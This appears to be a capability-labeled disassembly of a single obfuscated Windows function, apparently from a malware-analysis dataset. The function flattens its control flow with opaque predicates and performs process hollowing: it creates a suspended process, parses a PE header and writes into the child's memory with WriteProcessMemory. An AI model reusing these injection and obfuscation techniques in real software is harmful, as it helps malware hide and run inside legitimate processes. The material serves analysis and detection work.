Function at 0x10002be0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x180
mov eax, dword [0x1006c000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x188], 0xac7a0bfa
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x18c], eax
sub eax, 0x805a45d1
je 0x100097b7
jmp 0x10002c1c
mov eax, dword [ebp - 0x18c]
sub eax, 0x80f5a7f9
je 0x10006a14
jmp 0x10002c32
mov eax, dword [ebp - 0x18c]
sub eax, 0x81e70d73
je 0x100077e6
jmp 0x10002c48
mov eax, dword [ebp - 0x18c]
sub eax, 0x8222cdf1
je 0x10008222
jmp 0x10002c5e
mov eax, dword [ebp - 0x18c]
sub eax, 0x82b46e8e
je 0x1000b39a
jmp 0x10002c74
mov eax, dword [ebp - 0x18c]
sub eax, 0x842a1a5a
je 0x10008308
jmp 0x10002c8a
mov eax, dword [ebp - 0x18c]
sub eax, 0x84abc91a
je 0x1000ad69
jmp 0x10002ca0
mov eax, dword [ebp - 0x18c]
sub eax, 0x85c7993f
je 0x1000672c
jmp 0x10002cb6
mov eax, dword [ebp - 0x18c]
sub eax, 0x879080cc
je 0x1000707b
jmp 0x10002ccc
mov eax, dword [ebp - 0x18c]
sub eax, 0x87dd298e
je 0x10009366
jmp 0x10002ce2
mov eax, dword [ebp - 0x18c]
sub eax, 0x8820c54d
je 0x100085be
jmp 0x10002cf8
mov eax, dword [ebp - 0x18c]
sub eax, 0x885e398c
je 0x10007b32
jmp 0x10002d0e
mov eax, dword [ebp - 0x18c]
sub eax, 0x892e470a
je 0x10005f60
jmp 0x10002d24
mov eax, dword [ebp - 0x18c]
sub eax, 0x896167ce
je 0x10008e3e
jmp 0x10002d3a
mov eax, dword [ebp - 0x18c]
sub eax, 0x89a470d6
je 0x1000b36c
jmp 0x10002d50
mov eax, dword [ebp - 0x18c]
sub eax, 0x8a43cf6f
je 0x10009b0e
jmp 0x10002d66
mov eax, dword [ebp - 0x18c]
sub eax, 0x8b44e783
je 0x10008448
jmp 0x10002d7c
mov eax, dword [ebp - 0x18c]
sub eax, 0x8c173d22
je 0x10007098
jmp 0x10002d92
mov eax, dword [ebp - 0x18c]
sub eax, 0x8c291b7a
je 0x10006c91
jmp 0x10002da8
mov eax, dword [ebp - 0x18c]
sub eax, 0x8c2dadcd
je 0x10008344
jmp 0x10002dbe
mov eax, dword [ebp - 0x18c]
sub eax, 0x8c4dd24e
je 0x100057c8
jmp 0x10002dd4
mov eax, dword [ebp - 0x18c]
sub eax, 0x8ca3ee88
je 0x1000aa6a
jmp 0x10002dea
mov eax, dword [ebp - 0x18c]
sub eax, 0x8cbd5d75
je 0x1000858f
jmp 0x10002e00
mov eax, dword [ebp - 0x18c]
sub eax, 0x8df16425
je 0x1000b121
jmp 0x10002e16
mov eax, dword [ebp - 0x18c]
sub eax, 0x8e475f83
je 0x10007e20
jmp 0x10002e2c
mov eax, dword [ebp - 0x18c]
sub eax, 0x8eaebc1c
je 0x10005ee3
jmp 0x10002e42
mov eax, dword [ebp - 0x18c]
sub eax, 0x8edd7463
je 0x10009630
jmp 0x10002e58
mov eax, dword [ebp - 0x18c]
sub eax, 0x8fe55bc0
je 0x10007c0a
jmp 0x10002e6e
mov eax, dword [ebp - 0x18c]
sub eax, 0x90eb152b
je 0x100063b4
jmp 0x10002e84
mov eax, dword [ebp - 0x18c]
sub eax, 0x90f5be45
je 0x100064b9
jmp 0x10002e9a
mov eax, dword [ebp - 0x18c]
sub eax, 0x9162aa2e
je 0x10007569
jmp 0x10002eb0
mov eax, dword [ebp - 0x18c]
sub eax, 0x91e1a6b4
je 0x1000996f
jmp 0x10002ec6
mov eax, dword [ebp - 0x18c]
sub eax, 0x920d525f
je 0x10007e4e
jmp 0x10002edc
mov eax, dword [ebp - 0x18c]
sub eax, 0x9229b885
je 0x1000b995
jmp 0x10002ef2
mov eax, dword [ebp - 0x18c]
sub eax, 0x92a03956
je 0x1000b7f2
jmp 0x10002f08
mov eax, dword [ebp - 0x18c]
sub eax, 0x92e94227
je 0x1000a6e5
jmp 0x10002f1e
mov eax, dword [ebp - 0x18c]
sub eax, 0x93094a91
je 0x1000aca6
jmp 0x10002f34
mov eax, dword [ebp - 0x18c]
sub eax, 0x93875455
je 0x10005cfb
jmp 0x10002f4a
mov eax, dword [ebp - 0x18c]
sub eax, 0x94c0a485
je 0x1000b7c4
jmp 0x10002f60
mov eax, dword [ebp - 0x18c]
sub eax, 0x9586835c
je 0x10008bd3
jmp 0x10002f76
mov eax, dword [ebp - 0x18c]
sub eax, 0x95fdae5f
je 0x10008c1e
jmp 0x10002f8c
mov eax, dword [ebp - 0x18c]
sub eax, 0x968b75a7
je 0x1000b28d
jmp 0x10002fa2
mov eax, dword [ebp - 0x18c]
sub eax, 0x96dd9de1
je 0x1000571a
jmp 0x10002fb8
mov eax, dword [ebp - 0x18c]
sub eax, 0x973ee5c5
je 0x1000b481
jmp 0x10002fce
mov eax, dword [ebp - 0x18c]
sub eax, 0x9747aa0f
je 0x10007698
jmp 0x10002fe4
mov eax, dword [ebp - 0x18c]
sub eax, 0x986b4500
je 0x1000a7c8
jmp 0x10002ffa
mov eax, dword [ebp - 0x18c]
sub eax, 0x9ac7d9b2
je 0x1000a0b5
jmp 0x10003010
mov eax, dword [ebp - 0x18c]
sub eax, 0x9adbc794
je 0x1000a13e
jmp 0x10003026
mov eax, dword [ebp - 0x18c]
sub eax, 0x9ae71e90
je 0x1000bc2c
jmp 0x1000303c
mov eax, dword [ebp - 0x18c]
sub eax, 0x9b8778ae
je 0x10005ad6
jmp 0x10003052
mov eax, dword [ebp - 0x18c]
sub eax, 0x9c0d15bc
je 0x10005a58
jmp 0x10003068
mov eax, dword [ebp - 0x18c]
sub eax, 0x9c8d7f3f
je 0x10006e45
jmp 0x1000307e
mov eax, dword [ebp - 0x18c]
sub eax, 0x9df8133a
je 0x10009515
jmp 0x10003094
mov eax, dword [ebp - 0x18c]
sub eax, 0x9ee4501f
je 0x1000728b
jmp 0x100030aa
mov eax, dword [ebp - 0x18c]
sub eax, 0x9f0e0f40
je 0x1000695a
jmp 0x100030c0
mov eax, dword [ebp - 0x18c]
sub eax, 0x9f249569
je 0x100063e2
jmp 0x100030d6
mov eax, dword [ebp - 0x18c]
sub eax, 0x9f273016
je 0x100080af
jmp 0x100030ec
mov eax, dword [ebp - 0x18c]
sub eax, 0x9f3a5206
je 0x1000778e
jmp 0x10003102
mov eax, dword [ebp - 0x18c]
sub eax, 0xa0ff518f
je 0x1000bcd5
jmp 0x10003118
mov eax, dword [ebp - 0x18c]
sub eax, 0xa105c48f
je 0x10007a56
jmp 0x1000312e
mov eax, dword [ebp - 0x18c]
sub eax, 0xa152634c
je 0x10006f5f
jmp 0x10003144
mov eax, dword [ebp - 0x18c]
sub eax, 0xa2be273a
je 0x10005b02
jmp 0x1000315a
mov eax, dword [ebp - 0x18c]
sub eax, 0xa370b5b9
je 0x1000b183
jmp 0x10003170
mov eax, dword [ebp - 0x18c]
sub eax, 0xa518121a
je 0x100084b6
jmp 0x10003186
mov eax, dword [ebp - 0x18c]
sub eax, 0xa5bf2062
je 0x1000b56a
movss xmm0, dword [0x10019394]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10019390]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x188], 0xc0d23a96
jmp 0x1000be13
mov eax, dword [0x1006d328]
mov ecx, dword [0x1006d324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b28503
mov ecx, 0xafef1fec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x1001924c]
movss dword [ebp - 0x10c], xmm0
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2976f891
mov ecx, 0x9b8778ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dword [ebp - 0x188], 0x4d0113a1
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0xcdcc204c
sub edx, 1
add edx, 0xcdcc204c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82b46e8e
mov ecx, 0xade2cb7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dword [ebp - 0x188], 0x6deef856
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa961471d
mov ecx, 0xc13092de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x1001936c]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x188], 0x2f3bbe46
jmp 0x1000be13
mov dword [ebp - 0x188], 0x15dd5897
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
add edx, 0xa30c2248
sub edx, 1
sub edx, 0xa30c2248
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3c5097a9
mov ecx, 0x30889d01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dword [ebp - 0x188], 0x1cc8d8e6
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0x84a0b48a
sub edx, 1
add edx, 0x84a0b48a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbe70d04b
mov ecx, 0x16ffbabd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dl, 1
mov eax, 0xff5375c6
mov ecx, 0x2194469
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0xb11b0013
sub edx, 1
add edx, 0xb11b0013
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe576186a
mov ecx, 0x7d396525
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x10019330]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x188], 0x956b6f7
jmp 0x1000be13
movss xmm0, dword [0x10019318]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x188], 0x14941c00
jmp 0x1000be13
movss xmm0, dword [0x10019314]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x188], 0x6afbc675
jmp 0x1000be13
mov dl, 1
mov eax, 0x6ebaf1df
mov ecx, 0x8c173d22
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov eax, dword [0x1006d328]
mov ecx, dword [0x1006d324]
mov edx, eax
add edx, 0x5ad44195
sub edx, 1
sub edx, 0x5ad44195
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfdfd54e8
mov ecx, 0xaa8c6a75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov eax, dword [0x1006d328]
mov ecx, dword [0x1006d324]
mov edx, eax
sub edx, 0xd5567aca
sub edx, 1
add edx, 0xd5567aca
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63b813da
mov ecx, 0xbc9cb51c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dword [ebp - 0x188], 0x2470bb37
jmp 0x1000be13
movss xmm0, dword [0x100192ec]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x100192e8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x188], 0x94ba63c
jmp 0x1000be13
mov dword [ebp - 0x188], 0x6e182add
jmp 0x1000be13
movss xmm0, dword [0x100191ec]
movss dword [ebp - 0x11c], xmm0
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0x2a9e4c52
sub edx, 1
add edx, 0x2a9e4c52
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x61c929f9
mov ecx, 0xfd9d5394
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0xcf1c10ef
sub edx, 1
add edx, 0xcf1c10ef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd481aac
mov ecx, 0x58a59f3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x100192dc]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x100192d8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x188], 0xf6de5b2b
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0x9414e3b
sub edx, 1
add edx, 0x9414e3b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa4215e
mov ecx, 0x45354d34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dword [ebp - 0x188], 0xdcc18272
jmp 0x1000be13
movss xmm0, dword [0x100192c8]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100192c4]
movss dword [ebp - 0x120], xmm0
mov dl, 1
mov eax, 0xfbc37946
mov ecx, 0x246dfb60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0x10e29838
sub edx, 1
add edx, 0x10e29838
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4f6aaede
mov ecx, 0x2c6d8e1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
add edx, 0xbcdf1f2a
sub edx, 1
sub edx, 0xbcdf1f2a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x14ef1cc9
mov ecx, 0x6bc75efc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dl, 1
mov eax, 0x67208797
mov ecx, 0x228c44ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x100192b8]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x188], 0x67208797
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x25b5c910
mov ecx, 0xa518121a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x25b5c910
mov ecx, 0x3f3608ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x10019290]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001928c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x188], 0x8820c54d
jmp 0x1000be13
mov dword [ebp - 0x188], 0x60b20a19
jmp 0x1000be13
mov dword [ebp - 0x188], 0xca1c2e99
jmp 0x1000be13
movss xmm0, dword [0x10019280]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x188], 0x3a9e1baa
jmp 0x1000be13
mov dl, 1
mov eax, 0xb47b254d
mov ecx, 0x3b0bda1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x10019198]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
mov edx, ecx
sub edx, 0x3d849f15
sub edx, 1
add edx, 0x3d849f15
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x50629a28
mov ecx, 0xc78d0fb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
movss xmm0, dword [0x10019258]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x188], 0x58eaf678
jmp 0x1000be13
mov dword [ebp - 0x188], 0xd28bbbc4
jmp 0x1000be13
mov edx, dword [ebp - 0xec]
mov eax, 0xfd462e18
mov ecx, 0xe063813a
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov edx, dword [ebp - 0x140]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xe1], al
mov dword [ebp - 0x188], 0x2a55388a
jmp 0x1000be13
mov dword [ebp - 0x188], 0xf589074a
jmp 0x1000be13
mov dword [ebp - 0x188], 0xa1989a3
jmp 0x1000be13
mov eax, dword [ebp - 0x170]
imul ecx, dword [ebp - 0x180], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x170]
imul edx, dword [ebp - 0x180], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x170]
imul edx, dword [ebp - 0x180], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0x53dbc014
add eax, ecx
add eax, 0x53dbc014
mov dword [ebp - 0xbc], eax
mov eax, dword [0x1006d328]
mov ecx, dword [0x1006d324]
mov edx, eax
add edx, 0x311f1b80
sub edx, 1
sub edx, 0x311f1b80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d1fc2f
mov ecx, 0xbd3f9216
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x188], 0x758394e1
jmp 0x1000be13
mov eax, dword [0x1006d328]
mov ecx, dword [0x1006d324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ae71e90
mov ecx, 0x4d2035a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov ax, word [ebp - 0x8e]
movzx eax, ax
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x72011922
mov ecx, 0xd30f3fd
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x1006d328]
mov eax, dword [0x1006d324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa0ff518f
mov ecx, 0x84abc91a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dword [ebp - 0x188], 0x5f666469
jmp 0x1000be13
mov ecx, dword [ebp - 0x144]
sub ecx, 0xa5e203a5
add ecx, 8
add ecx, 0xa5e203a5
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x138]
add eax, 0x18
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x188], 0xa370b5b9
jmp 0x1000be13
mov eax, dword [0x1006d328]
mov ecx, dword [0x1006d324]
mov edx, eax
add edx, 0x4b44772d
sub edx, 1
sub edx, 0x4b44772d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9f264b2
mov ecx, 0x76a51fba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x1000be13
mov dword [ebp - 0x188], 0x4684ed4f
jmp 0x1000be13
mov dword [ebp - 0x188], 0x224cb55b
jmp 0x1000be13
movss xmm0, dword [0x10019248]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x188], 0xade2cb7e
jmp 0x1000be13
movss xmm0, dword [0x10019230]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x188], 0x271ececd
jmp 0x1000be13
movss xmm0, dword [0x100191cc]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x188], 0x29de8c05
jmp 0x1000be13
movss xmm0, dword [0x100191c8]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x100191c4]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x188], 0x23a3bc10
jmp 0x1000be13
movss xmm0, dword [0x10019190]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x188], 0xc7ad2afd
jmp 0x1000be13
mov ecx, dword [ebp - 0x178]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x4d2035a9
jmp 0x1000be13
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x188], 0x93094a91
jmp 0x1000be13
jmp 0x10002c00